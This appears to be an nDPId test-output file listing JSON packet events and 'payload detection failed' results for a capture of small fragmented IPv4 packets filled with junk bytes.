+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4581,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955461,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjEAGRCUKAAACCoAAAnRnP0dSP0dSP3NSPzc0ODM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4581,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4582,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955469,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjkAGRCMKAAACCoAAAjk2KSgqJl4lJCNAIUAjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4582,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4583,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955476,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkEAGRCEKAAACCoAAAl4mKigpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4583,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4584,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955483,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkkAGRB8KAAACCoAAAl4mKigqJl4lJCMmKihLSUo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4584,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4585,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955492,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlEAGRB0KAAACCoAAAkhHRkQyKiZERkdISksmXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4585,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4586,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955499,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlkAGRBsKAAACCoAAAiQjI0VUUiVZXlUmSSpPUHs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4586,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4587,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955505,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmEAGRBkKAAACCoAAAiI6aGRmbGtkYT5MPE1OQkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4587,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4588,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955513,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmkAGRBcKAAACCoAAAkdGREVXI0AkJV5IQkdWCjQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4588,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4589,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955520,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnEAGRBUKAAACCoAAAjIxNDYzMTk4MjA1MSkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4589,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4590,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955528,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnkAGRBMKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4590,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4591,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955539,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhoEAGRBEKAAACCoAAAiQjcnNkbHVoZ2tmZHNia24="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4591,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4592,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955546,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhokAGRA8KAAACCoAAAnZjLy50Z2Z0Zz9HUj9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4592,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4593,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955554,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpEAGRA0KAAACCoAAAnNSPzc0ODM5NikoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4593,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4594,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955562,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpkAGRAsKAAACCoAAAiNAIUAjJCVeJiooKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4594,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4595,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955574,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqEAGRAkKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4595,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4596,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955581,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqkAGRAcKAAACCoAAAiMmKihLSUpIR0ZEMiomREY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4596,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4597,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955588,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrEAGRAUKAAACCoAAAkdISksmXiUkIyNFVFIlWV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4597,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4598,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955595,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrkAGRAMKAAACCoAAAlUmSSpPUHsiOmhkZmxrZGE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4598,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4599,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955619,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhsEAGRAEKAAACCoAAAj5MPE1OQkhHRkRFVyNAJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4599,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4600,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955630,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhskAGQ\/8KAAACCoAAAl5IQkdWCjQyMTQ2MzE5ODI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4600,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4601,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955637,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtEAGQ\/0KAAACCoAAAjA1MSkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4601,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4602,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955644,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtkAGQ\/sKAAACCoAAAiYqKComXiUkI3JzZGx1aGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4602,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4603,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955652,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhuEAGQ\/kKAAACCoAAAmtmZHNia252Yy8udGdmdGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4603,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4604,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955662,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhukAGQ\/cKAAACCoAAAj9HUj9HUj9zUj83NDgzOTY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4604,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4605,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955670,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvEAGQ\/UKAAACCoAAAikoKiZeJSQjQCFAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4605,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4606,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955677,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvkAGQ\/MKAAACCoAAAiooKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4606,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4607,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955685,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwEAGQ\/EKAAACCoAAAiooKiZeJSQjJiooS0lKSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4607,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4608,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955698,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwkAGQ+8KAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4608,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4609,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955714,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxEAGQ+0KAAACCoAAAiNFVFIlWV5VJkkqT1B7Ijo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4609,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4610,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955721,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxkAGQ+sKAAACCoAAAmhkZmxrZGE+TDxNTkJIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4610,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4611,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955729,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhyEAGQ+kKAAACCoAAAkRFVyNAJCVeSEJHVgo0MjE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4611,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4612,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955737,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhykAGQ+cKAAACCoAAAjQ2MzE5ODIwNTEpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4612,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4613,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955744,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzEAGQ+UKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4613,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4614,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955752,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzkAGQ+MKAAACCoAAAnJzZGx1aGdrZmRzYmtudmM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4614,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4615,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955759,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0EAGQ+EKAAACCoAAAi8udGdmdGc\/R1I\/R1I\/c1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4615,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4616,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955770,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0kAGQ98KAAACCoAAAj83NDgzOTYpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4616,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4617,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955777,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1EAGQ90KAAACCoAAAiFAIyQlXiYqKCkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4617,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4618,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955785,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1kAGQ9sKAAACCoAAAiNAIyQlXiYqKComXiUkIyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4618,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4619,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955796,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2EAGQ9kKAAACCoAAAiooS0lKSEdGRDIqJkRGR0g="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4619,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4620,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955806,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2kAGQ9cKAAACCoAAAkpLJl4lJCMjRVRSJVleVSY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4620,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4621,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955813,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3EAGQ9UKAAACCoAAAkkqT1B7IjpoZGZsa2RhPkw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4621,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4622,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955821,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3kAGQ9MKAAACCoAAAjxNTkJIR0ZERVcjQCQlXkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4622,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 